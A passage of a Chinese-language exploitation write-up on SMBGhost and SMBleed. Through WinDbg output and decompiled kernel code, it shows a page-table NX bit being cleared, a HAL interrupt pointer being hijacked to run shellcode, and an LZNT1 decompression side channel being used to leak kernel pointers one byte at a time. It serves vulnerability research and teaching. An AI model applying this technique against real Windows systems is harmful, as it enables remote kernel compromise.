+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
0: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000 //修改后
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
**寻找HAL：**
HAL堆是在HAL.DLL引导过程中创建的，HAL堆上存放了HalpInterruptController（目前也是随机化的），其中保存了一些函数指针，其偏移0x78处存放了hal!HalpApicRequestInterrupt函数指针。这个函数和中断相关，会被系统一直调用，所以可通过覆盖这个指针劫持执行流程。
0: kd> dq poi(hal!HalpInterruptController)
fffff7e6`80000698 fffff7e6`800008f0 fffff802`04486e50
fffff7e6`800006a8 fffff7e6`800007f0 00000000`00000030
fffff7e6`800006b8 fffff802`04422d80 fffff802`04421b90
fffff7e6`800006c8 fffff802`04422520 fffff802`044226e0
fffff7e6`800006d8 fffff802`044226b0 00000000`00000000
fffff7e6`800006e8 fffff802`044223c0 00000000`00000000
fffff7e6`800006f8 fffff802`04454560 fffff802`04432770
fffff7e6`80000708 fffff802`04421890 fffff802`0441abb0
0: kd> u fffff802`0441abb0
hal!HalpApicRequestInterrupt:
fffff802`0441abb0 48896c2420 mov qword ptr [rsp+20h],rbp
fffff802`0441abb5 56 push rsi
fffff802`0441abb6 4154 push r12
fffff802`0441abb8 4156 push r14
fffff802`0441abba 4883ec40 sub rsp,40h
fffff802`0441abbe 488bb42480000000 mov rsi,qword ptr [rsp+80h]
fffff802`0441abc6 33c0 xor eax,eax
fffff802`0441abc8 4532e4 xor r12b,r12b
可通过遍历物理页找到HalpInterruptController地址，如下所示，在虚拟机调试环境下该地址位于第一个物理页。在获得这个地址后，可通过0x78偏移找到alpApicRequestInterrupt函数指针地址，覆盖这个地址为Shellcode地址0xfffff78000000800，等待劫持执行流程。
1: kd> !dq 1000
# 1000 00000000`00000000 00000000`00000000
# 1010 00000000`01010600 00000000`00000000
# ......
# 18f0 fffff7e6`80000b20 fffff7e6`80000698
# 1900 fffff7e6`80000a48 00000000`00000004
**Shellcode复制 &&执行：**
通过任意地址写将Shellcode复制到0xfffff78000000800，等待“alpApicRequestInterrupt函数”被调用。
0: kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
0: kd> k
# Child-SP RetAddr Call Site
00 fffff800`482b24c8 fffff800`450273a0 0xfffff780`00000800
01 fffff800`482b24d0 fffff800`4536c4b8 hal!HalSendNMI+0x330
02 fffff800`482b2670 fffff800`4536bbee nt!KiSendFreeze+0xb0
03 fffff800`482b26d0 fffff800`45a136ac nt!KeFreezeExecution+0x20e
04 fffff800`482b2800 fffff800`45360811 nt!KdEnterDebugger+0x64
05 fffff800`482b2830 fffff800`45a17105 nt!KdpReport+0x71
06 fffff800`482b2870 fffff800`451bbbf0 nt!KdpTrap+0x14d
07 fffff800`482b28c0 fffff800`451bb85f nt!KdTrap+0x2c
08 fffff800`482b2900 fffff800`45280202 nt!KiDispatchException+0x15f
## SMBGhost&&SMBleed远程代码执行
Zecops利用思路的灵魂是通过判断LZNT1解压是否成功来泄露单个字节，有点爆破的意思在里面。
### LZNT1解压特性
通过逆向可以发现LZNT1压缩数据由压缩块组成，每个压缩块有两个字节的块头部，通过最高位是否设置可判断该块是否被压缩，其与0xFFF相与再加3（2字节的chunk
header+1字节的flag）为这个压缩块的长度。每个压缩块中有若干个小块，每个小块开头都有存放标志的1字节数据。该字节中的每个比特控制后面的相应区域，是直接复制(0)还是重复复制(1)。
这里先举个后面会用到的例子，如下所示。解压时首先取出2个字节的块头部0xB007，0xB007&0xFFF+3=0xa，所以这个块的大小为10，就是以下这10个字节。然后取出标志字节0x14，其二进制为00010100，对应了后面的8项数据，如果相应的比特位为0，就直接将该字节项复制到待解压缓冲区，如果相应比特位为1，表示数据有重复，从相应的偏移取出两个字节数据，根据环境计算出复制的源地址和复制的长度。
由于0x14的前两个比特为0，b0 00 直接复制到目标缓冲区，下一个比特位为1，则取出0x007e，复制0x7e+3（0x81）个 00
到目标缓冲区，然后下一个比特位是0，复制ff到目标缓冲区，下个比特位为1，所以又取出0x007c，复制0x7c+3（0x7f）个 FF
到目标缓冲区，由于此时已走到边界点，对该压缩块的解压结束。以下为解压结果：
kd> db ffffa508`31ac115e lff+3+1
ffffa508`31ac115e b0 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac116e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac117e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac118e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac119e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ae 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11be 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ce 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11de 00 00 00 ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11ee ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11fe ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac120e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac121e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac122e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac123e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac124e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac125e ff ff ff ...
Zecops在文章中提出可通过向目标发送压缩测试数据并检测该连接是否断开来判断是否解压失败，如果解压失败，则连接断开，而利用LZNT1解压的特性可通过判断解压成功与否来泄露1字节数据。下面来总结解压成功和解压失败的模式。
**00 00 模式：**
文中提示LZNT1压缩数据可以 00 00
结尾（类似于以NULL终止的字符串，可选的）。如下所示，当读取到的长度为0时跳出循环，在比较了指针没有超出边界之后，正常退出函数。
// RtlDecompressBufferLZNT1
v11 = *(_WORD *)compressed_data_point;
if ( !*(_WORD *)compressed_data_point )
break;
......
}
v17 = *(_DWORD **)&a6;
if ( compressed_data_point <= compressed_data_boundary )
{
**(_DWORD **)&a6 = (_DWORD)decompress_data_p2 - decompress_data_p1;
goto LABEL_15;
}
LABEL_32:
v10 = 0xC0000242; // 错误流程
*v17 = (_DWORD)compressed_data_point;
LABEL_15:
if ( _InterlockedExchangeAdd((volatile signed __int32 *)&v23, 0xFFFFFFFF) == 1 )
KeSetEvent(&Event, 0, 0);
KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64);
if ( v10 >= 0 && v23 < 0 )
v10 = HIDWORD(v23);
return (unsigned int)v10;
}
**XX XX FF FF FF模式：**
满足XX XX FF FF FF模式的压缩块会在解压时产生错误，其中，XXXX&FFF>0且第二个XX的最高位为1。作者在进行数据泄露的时候使用的FF
FF满足此条件，关键代码如下，当标志字节为FF时，由于第一个标志位被设置，会跳出上面的循环，然后取出两个字节的0xFFFF。由于比较第一个比特位的时候就跳出循环，decompress_data_p1、decompress_data_p2
和 decompress_data_p3 都指向原始的目标缓冲区（本来也就是起点）。所以 v11 也是初始值
0xD，v14（v15）为标志位1相应的双字0xFFFF。由于decompress_data_p1 – 0xFFFF >> 0xD -1
肯定小于decompress_data_p2，会返回错误码 0xC0000242。
if ( *compressed_data_p1 & 1 )
break;
*decompress_data_p1 = compressed_data_p1[1];
......
}
while ( decompress_data_p1 > decompress_data_p3 )
{
v11 = (unsigned int)(v11 - 1);
decompress_data_p3 = (_BYTE *)(dword_14037B700[v11] + decompress_data_p2);
}
v13 = compressed_data_p1 + 1;
v14 = *(_WORD *)(compressed_data_p1 + 1);
v15 = v14;
v17 = dword_14037B744[v11] & v14;
v11 = (unsigned int)v11;
v16 = v17;
v18 = &decompress_data_p1[-(v15 >> v11) - 1];
if ( (unsigned __int64)v18 < decompress_data_p2 )
return 0xC0000242i64;
//调试数据
kd>
nt!LZNT1DecompressChunk+0x66e:
fffff802`52ddd93e 488d743eff lea rsi,[rsi+rdi-1]
kd> p
nt!LZNT1DecompressChunk+0x673:
fffff802`52ddd943 493bf2 cmp rsi,r10
kd>
nt!LZNT1DecompressChunk+0x676:
fffff802`52ddd946 0f82cd040000 jb nt!LZNT1DecompressChunk+0xb49 (fffff802`52ddde19)
kd>
nt!LZNT1DecompressChunk+0xb49:
fffff802`52ddde19 b8420200c0 mov eax,0C0000242h
**单字节泄露思路**
泄露的思路就是利用解压算法的上述特性，在想要泄露的字节后面加上b0（满足压缩标志）以及一定数量的 00 和
FF，00表示的数据为绝对有效数据。当处理完一个压缩块之后，会继续向后取两个字节，如果取到的是00 00，解压就会正常完成，如果是 00 FF 或者 FF
FF，解压就会失败。
kd> db ffffa508`31ac1158
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
如下所示，a5是想要泄露的字节，先假设可以将测试数据放在后面。根据解压算法可知，首先会取出b0a5，然后和0xfff相与后加3，得到a8，从a5开始数a8个字节，这些数据都属于第一个压缩块。如果要求第二次取出来的双字还是00
00，就需要a8-2+2个字节的00，也就是a5+3。如果00的个数小于x+3，第二次取双字的时候就一定会命中后面的FF，触发错误。采用二分法找到满足条件的x，使得当00的数量为x+3时解压缩正常完成，并且当00的数量为x+2时解压失败，此时得到要泄露的那个字节数据x。
下面开始步入正题，一步一步获取关键模块基址，劫持系统执行流程。为了方便描述利用思路，在 Windows 1903
单核系统上进行调试，利用前还需要收集各漏洞版本以下函数在模块中的偏移，以便后续进行匹配，计算相应模块基址及函数地址：
**srvnet.sys** | **ntoskrnl.exe**
---|---
srvnet!SrvNetWskConnDispatch | nt!IoSizeofWorkItem
srvnet!imp_IoSizeofWorkItem | nt!MiGetPteAddress
srvnet!imp_RtlCopyUnicodeString
### 泄露 User Buffer 指针
这一步要泄露的数据是已知大小缓冲区的User
Buffer指针（POC中是0x2100）。请求包结构如下，Offset为0x2116，Originalsize为0，由于Offset+Originalsize=0x2116，所以会分配大小为0x4100的User
Buffer来存放还原的数据。然而，原始请求包的User Buffer大小为0x2100（可容纳0x10大小的头和0x1101大小的Data），Offset
0x2116明显超出了该缓冲区的长度，在后续的memcpy操作中会存在越界读取。Offset欺骗也是1206的一部分，在取得Offset的值之后没有判断其大小是否超出的User
Buffer的界限，从而在解压成功后将这部分数据复制到一个可控的区域。又由于数据未初始化，可利用LZNT1解压将目标指针泄露出来。
以下为请求包的Srvnet Buffer Header信息，由于复制操作是从Raw
Data区域开始（跳过0x10头部），因而越界读取并复制的数据长度为0x2116+0x10-0x2100 = 0x26，这包括存放在Srvnet
Buffer Header偏移0x18处的User Buffer指针 0xffffa50836240050。
kd> g
request: ffffa508`36240050 424d53fc 00000000 00000001 00002116
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> dd rax
ffffa508`36242150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
kd> dd ffffa508`36240050+10+2116-6-10 l8
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
以下为分配的0x4100的缓冲区，其User Buffer首地址为0xffffa50835a92050：
kd> g
alloc: ffffa508`35a92050 cf8b48d6 006207e8 ae394c00 00000288
srv2!Srv2DecompressData+0x85:
fffff802`51ce7ee5 488bd8 mov rbx,rax
kd> dd rax
ffffa508`35a96150 a1e83024 48fffaef 4810478b 30244c8d
ffffa508`35a96160 00020002 00000000 35a92050 ffffa508
ffffa508`35a96170 00004100 00000000 000042a8 245c8b48
由于解压成功，所以进入memcpy流程，0x2100缓冲区的User
Buffer指针0xffffa50836240050被复制到0x4100缓冲区偏移0x2108处:
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 840fc085 000000af 24848d48 000000a8
ffffa508`35a94160 24448948 548d4120 b9410924 00000eda
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 00010002 00000000 36240050 ffffa508
ffffa508`35a94160 00002100 548d1111 b9410924 00000eda
然后下一步是覆盖 0x4100缓冲区中存放的0x2100缓冲区User Buffer Ptr 中 08 a5
后面的ffff等数据（由于地址都是以0xffff开头，所以这两个字节可以不用测）。为了不破坏前面的数据（不执行memcpy），要使得解压失败（在压缩的测试数据后面填充\xFF），但成功解压出测试数据。
以下为解压前后保存的User Buffer Ptr
的状态，可以发现解压后的数据正好满足之前所讲的单字节泄露模式，如果可欺骗程序使其解压0xffffa50835a9415d处的数据，就可以通过多次测试泄露出最高位0xa5：
//待解压数据
kd> dd ffffa508`31edb050+10+210e
ffffa508`31edd16e b014b007 ff007e00 ffff007c ffffffff
ffffa508`31edd17e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd18e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd19e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ae ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1be ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ce ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1de ffffffff ffffffff ffffffff ffffffff
//解压前数据
kd> db r9 - 6
ffffa508`35a94158 50 00 24 36 08 a5 ff ff-00 21 00 00 11 11 8d 54 P.$6.....!.....T
ffffa508`35a94168 24 09 41 b9 da 0e 00 00-45 8d 44 24 01 48 8b ce $.A.....E.D$.H..
ffffa508`35a94178 ff 15 c2 68 01 00 85 c0-78 27 8b 94 24 a8 00 00 ...h....x'..$...
ffffa508`35a94188 00 0f b7 c2 c1 e8 08 8d-0c 80 8b c2 c1 e8 10 0f ................
ffffa508`35a94198 b6 c0 03 c8 0f b6 c2 8d-0c 41 41 3b cf 41 0f 96 .........AA;.A..
ffffa508`35a941a8 c4 48 8d 44 24 30 48 89-44 24 20 ba 0e 00 00 00 .H.D$0H.D$ .....
ffffa508`35a941b8 41 b9 db 0e 00 00 44 8d-42 f4 48 8b ce ff 15 75 A.....D.B.H....u
ffffa508`35a941c8 68 01 00 85 c0 78 2f 8b-54 24 30 0f b7 c2 c1 e8 h....x/.T$0.....
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
//解压后数据
kd> db ffffa508`35a9415d lff
ffffa508`35a9415d a5 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9416d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9417d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9418d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9419d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941dd 00 00 00 00 ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941ed ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941fd ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9420d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9421d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9422d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9423d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9424d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ...............
控制后续的请求包占用之前布置好的0x4100缓冲区，设置Offset使其指向待泄露的那个字节，利用LZTN1解压算法从高位到低位逐个泄露字节。主要是利用LZTN1解压算法特性以及SMB2协商，在SMB2协商过程中使用LZTN1压缩，对SMB2
SESSION SETUP请求数据进行压缩。构造如下请求，如果LZNT1测试数据解压成功，就代表要泄露的数据不小于0的个数减3，并且由于解压成功，SMB2
SESSION SETUP数据成功被复制。如果解压失败，SMB2 SESSION
SETUP数据不会被复制，连接断开。根据连接是否还在调整0的个数，如果连接断开，就增大0的个数，否则减小0的个数，直到找到临界值，泄露出那个字节。
### 泄露srvnet基址
SRVNET_BUFFER_HDR第一项为ConnectionBufferList.Flink指针（其指向SRVNET_RECV偏移0x58处的ConnectionBufferList.Flink），SRVNET_RECV偏移0x100处存放了AcceptSocket指针。AcceptSocket偏移0x30处为srvnet!SrvNetWskConnDispatch函数指针。可通过泄露这个指针，然后减去已有偏移得到srvnet模块的基址。
//SRVNET_BUFFER_HDR
kd> dd rax
ffffa508`31221150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`31221160 00030002 00000000 31219050 ffffa508
ffffa508`31221170 00008100 00008100 000082e8 ffffffff
ffffa508`31221180 31219000 ffffa508 312211e0 ffffa508
ffffa508`31221190 00000000 ffffffff 00008100 00000000
ffffa508`312211a0 31221260 ffffa508 31221150 ffffa508
//SRVNET_RECV->AcceptSocket
kd> dq ffffa5082f566798 - 58 + 100
ffffa508`2f566840 ffffa508`36143c28 00000000`00000000
ffffa508`2f566850 00000000`00000000 ffffa508`3479cd18
ffffa508`2f566860 ffffa508`2f4a6dc0 ffffa508`34ae4170
ffffa508`2f566870 ffffa508`35f56040 ffffa508`34f19520
//srvnet!SrvNetWskConnDispatch
kd> u poi(ffffa508`36143c28+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
**泄露ConnectionBufferList.Flink指针**
首先要泄露ConnectionBufferList.Flink指针，以便泄露AcceptSocket指针以及srvnet!SrvNetWskConnDispatch函数指针。在这里使用了另一种思路：使用正常压缩的数据[:-6]覆盖ConnectionBufferList.Flink指针之前数据，这样在解压的时候正好可以带出这6个字节，要注意请求数据长度与Offset+0x10的差值，这个差值应该大于压缩数据+6的长度。在这个过程中需要保持一个正常连接，使得泄露出的ConnectionBufferList所在的SRVNET_RECV结构是有效的。如下所示，解压后的数据长度正好为0x2b，其中，后6位为ConnectionBufferList的低6个字节。
kd> g
request: ffffa508`31219050 424d53fc 0000002b 00000001 000080e3
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db ffffa508`31219050+80e3+10 l20 //待解压数据
ffffa508`31221143 10 b0 40 41 42 43 44 45-46 1b 50 58 00 18 3a 80 [email protected]..:.
ffffa508`31221153 34 08 a5 ff ff 18 3a 80-34 08 a5 ff ff 02 00 03 4.....:.4.......
kd> g
srv2!Srv2DecompressData+0xdc:
fffff802`51ce7f3c e86f650406 call srvnet!SmbCompressionDecompress (fffff802`57d2e4b0)
kd> db r9 l30 //解压前缓冲区
ffffa508`31ac1133 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1143 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1153 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> db ffffa508`31ac1133 l30 //解压后缓冲区
ffffa508`31ac1133 41 42 43 44 45 46 41 42-43 44 45 46 41 42 43 44 ABCDEFABCDEFABCD
ffffa508`31ac1143 45 46 41 42 43 44 45 46-41 42 43 44 45 46 41 42 EFABCDEFABCDEFAB
ffffa508`31ac1153 43 44 45 46 58 18 3a 80-34 08 a5 ff ff ff ff ff CDEFX.:.4.......
然后向目标缓冲区偏移0x810e处解压覆盖测试数据 b0 00 00 …
，之前解压出的0x2b大小的数据放在了偏移0x80e3处，如果要从最后一位开始覆盖，那解压缩的偏移就是0x810e+0x2b（即0x810e）。
kd> g
request: ffffa508`31edb050 424d53fc 00007ff2 00000001 0000810e
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
//解压前
kd> db rdx //rdx指向待解压数据
ffffa508`31ee316e 07 b0 14 b0 00 7e 00 ff-7c 00 ff ff ff ff ff ff .....~..|.......
ffffa508`31ee317e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee318e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee319e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ae ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31be ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ce ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31de ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> db r9-6 l30 //r9指向目标缓冲区
ffffa508`31ac1158 18 3a 80 34 08 a5 ff ff-ff ff ff ff ff ff ff ff .:.4............
ffffa508`31ac1168 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1178 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
//解压后
kd> db ffffa508`31ac1158 l30
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
然后采用和之前一样的方式泄露该地址低6个字节。根据连接是否断开调整00的长度，直到找到满足临界点的值，从而泄露出ConnectionBufferList。
kd> g
request: ffffa508`31ab9050 424d53fc 00008004 00000001 000080fd
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db rdx-6 l100
ffffa508`31ac1157 58 18 3a 80 34 08 a5 b0-00 00 00 00 00 00 00 00 X.:.4...........
ffffa508`31ac1167 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1177 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1187 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1197 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11a7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11b7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11c7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11d7 00 00 00 00 00 00 00 00-00 00 ff ff ff ff ff ff ................
ffffa508`31ac11e7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11f7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1207 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1217 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1227 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1237 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1247 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
后面就是继续获取AcceptSocket指针以及srvnet!SrvNetWskConnDispatch函数指针。SrvNetFreeBuffer函数中存在如下代码（有省略），可帮助我们将某地址处的值复制到一个可控的地址。当BufferFlags为3时，pMdl1指向MDL中的MappedSystemVa会变成之前的值加0x50，pMdl2指向的MDL中的StartVa被赋值为pMdl1->MappedSystemVa
+ 0x50的高52位，pMdl2指向的MDL中的ByteOffset被赋值为pMdl1->MappedSystemVa +
0x50的低12位。也就是说pMdl2的StartVa和ByteOffset中会分开存放原先pMdl1中的MappedSystemVa的值加0x50的数据。
void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer)
{
PMDL pMdl1 = Buffer->pMdl1;
PMDL pMdl2 = Buffer->pMdl2;
if (Buffer->BufferFlags & 0x02) {
if (Buffer->BufferFlags & 0x01) {
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50；
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF)；
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF
}
Buffer->BufferFlags = 0;
// ...
pMdl1->Next = NULL;
pMdl2->Next = NULL;
// Return the buffer to the lookaside list.
} else {
SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}
}
可利用上述流程，将指定地址处的数据再加0x50的值复制到pMdl2指向的结构中，然后再利用之前的方法逐字节泄露。思路是通过覆盖两个pmdl指针，覆盖pmdl1指针为AcceptSocket指针减0x18，这和MDL结构相关，如下所示，其偏移0x18处为MappedSystemVa指针，这样可使得AcceptSocket地址正好存放在pMdl1->MappedSystemVa。然后覆盖pmdl2指针为一个可控的内存，POC中为之前泄露的0x2100内存的指针加0x1250偏移处。这样上述代码执行后，就会将AcceptSocket地址的信息存放在pmdl2指向的MDL结构（已知地址）中。
kd> dt _mdl
win32k!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
kd> ?ffffa50834803a18-58+100-18
Evaluate expression: -100020317570392 = ffffa508`34803aa8
kd> ?ffffa50836240000+1250 //这个和no transport header相关
Evaluate expression: -100020290055600 = ffffa508`36241250
//覆盖前
kd> dd ffffa508`31ab9050+10138
ffffa508`31ac9188 31ac91e0 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 31ac92a0 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
//覆盖后
kd> dd ffffa508`31ac9188
ffffa508`31ac9188 34803aa8 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 36241250 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
之后通过解压覆盖偏移0x10处的BufferFlags，使其由2变为3，压缩数据后面加入多个”\xFF”使得解压失败，这样在后续调用
SrvNetFreeBuffer函数时才能进入上述流程。其中：flag第一个比特位被设置代表没有Transport
Header，所以那段代码实际上是留出了传输头。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040003 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
当调用SrvNetFreeBuffer释放这个缓冲区时会触发那段流程，此时想泄露的数据已经放在了0xffffa50836241250处的MDL结构中。如下所示，为0xffffa5083506b848。然后再用之前的方法依次泄露0xffffa50836241250偏移0x2D、0x2C、0x25、0x24、0x23、0x22、0x21处的字节，然后组合成0xffffa5083506b848。
kd> dt _mdl ffffa50836241250
win32k!_MDL
+0x000 Next : (null)
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
